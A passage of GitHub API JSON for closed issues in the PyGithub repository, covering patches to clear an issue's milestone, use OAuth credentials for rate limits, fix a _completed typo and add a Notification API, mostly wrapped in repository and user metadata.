user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":3,"created_at":"2012-09-10T00:42:24Z","updated_at":"2012-09-12T02:36:43Z","closed_at":"2012-09-11T18:55:30Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/74","diff_url":"https://github.com/jacquev6/PyGithub/pull/74.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/74.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I could find no way to use the PyGithub API to clear an Issue's milestone or assignee. So I created this patch to make Issue.edit() accept None for the milestone and assignee parameters. I have tested it on a real GitHub issue, and it works, but I have not created any test cases."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/112","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/112/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/112/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/112/events","html_url":"https://github.com/jacquev6/PyGithub/issues/112","id":8189836,"number":112,"title":"Allow for using OAuth id and secret to increase rate limit","user":{"login":"mwoodworth","id":606209,"avatar_url":"https://secure.gravatar.com/avatar/fa8bf31f678044f65afb6c4c5a8ea542?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fa8bf31f678044f65afb6c4c5a8ea542","url":"https://api.github.com/users/mwoodworth","html_url":"https://github.com/mwoodworth","followers_url":"https://api.github.com/users/mwoodworth/followers","following_url":"https://api.github.com/users/mwoodworth/following{/other_user}","gists_url":"https://api.github.com/users/mwoodworth/gists{/gist_id}","starred_url":"https://api.github.com/users/mwoodworth/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mwoodworth/subscriptions","organizations_url":"https://api.github.com/users/mwoodworth/orgs","repos_url":"https://api.github.com/users/mwoodworth/repos","events_url":"https://api.github.com/users/mwoodworth/events{/privacy}","received_events_url":"https://api.github.com/users/mwoodworth/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14/labels","id":189891,"number":14,"title":"Version 1.9.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-10-05T08:15:01Z","updated_at":"2012-11-19T20:52:01Z","due_on":null},"comments":3,"created_at":"2012-11-07T23:17:54Z","updated_at":"2012-11-19T20:05:26Z","closed_at":"2012-11-19T19:50:50Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/112","diff_url":"https://github.com/jacquev6/PyGithub/pull/112.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/112.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"API Doc section for the change\r\nhttp://developer.github.com/v3/#rate-limiting"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/events","html_url":"https://github.com/jacquev6/PyGithub/issues/139","id":10758585,"number":139,"title":"Typo in GithubObject \"self._completed\" -> \"self.__completed\"?","user":{"login":"ianozsvald","id":273210,"avatar_url":"https://secure.gravatar.com/avatar/3d644406158b4d440111903db1f62622?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3d644406158b4d440111903db1f62622","url":"https://api.github.com/users/ianozsvald","html_url":"https://github.com/ianozsvald","followers_url":"https://api.github.com/users/ianozsvald/followers","following_url":"https://api.github.com/users/ianozsvald/following{/other_user}","gists_url":"https://api.github.com/users/ianozsvald/gists{/gist_id}","starred_url":"https://api.github.com/users/ianozsvald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ianozsvald/subscriptions","organizations_url":"https://api.github.com/users/ianozsvald/orgs","repos_url":"https://api.github.com/users/ianozsvald/repos","events_url":"https://api.github.com/users/ianozsvald/events{/privacy}","received_events_url":"https://api.github.com/users/ianozsvald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/21","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/21/labels","id":262264,"number":21,"title":"Version 1.11.1","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2013-02-07T18:19:05Z","updated_at":"2013-02-09T16:56:36Z","due_on":null},"comments":3,"created_at":"2013-02-07T22:12:31Z","updated_at":"2013-02-08T10:48:28Z","closed_at":"2013-02-08T07:44:02Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I noticed that calls to a user object (e.g. user.email, user.location etc) caused multiple calls to GitHub. Looking at GithubObject.py I see several references to __completed and one to _completed (single underscore) on line 72. Changing line 72 to use a double underscore removed the repeated calls to Github.\r\n\r\nI tried to run your tests but can't figure out how to do so? I'd have left you a pull request if so. I tried \"python -m unittest discover\" and also just running the files, I'm not familiar with the format you've used. I'm happy to run with logs etc if that's useful (some guidance on how to run the tests would be super helpful too). Thanks, Ian."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/148","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/148/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/148/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/148/events","html_url":"https://github.com/jacquev6/PyGithub/issues/148","id":12097154,"number":148,"title":"Notification API","user":{"login":"pgolm","id":1444194,"avatar_url":"https://secure.gravatar.com/avatar/c6d6b2eb927ed858092c47da9f150372?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c6d6b2eb927ed858092c47da9f150372","url":"https://api.github.com/users/pgolm","html_url":"https://github.com/pgolm","followers_url":"https://api.github.com/users/pgolm/followers","following_url":"https://api.github.com/users/pgolm/following{/other_user}","gists_url":"https://api.github.com/users/pgolm/gists{/gist_id}","starred_url":"https://api.github.com/users/pgolm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pgolm/subscriptions","organizations_url":"https://api.github.com/users/pgolm/orgs","repos_url":"https://api.github.com/users/pgolm/repos","events_url":"https://api.github.com/users/pgolm/events{/privacy}","received_events_url":"https://api.github.com/users/pgolm/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":3,"created_at":"2013-03-16T16:38:35Z","updated_at":"2013-03-19T22:14:44Z","closed_at":"2013-03-19T22:14:44Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/148","diff_url":"https://github.com/jacquev6/PyGithub/pull/148.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/148.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/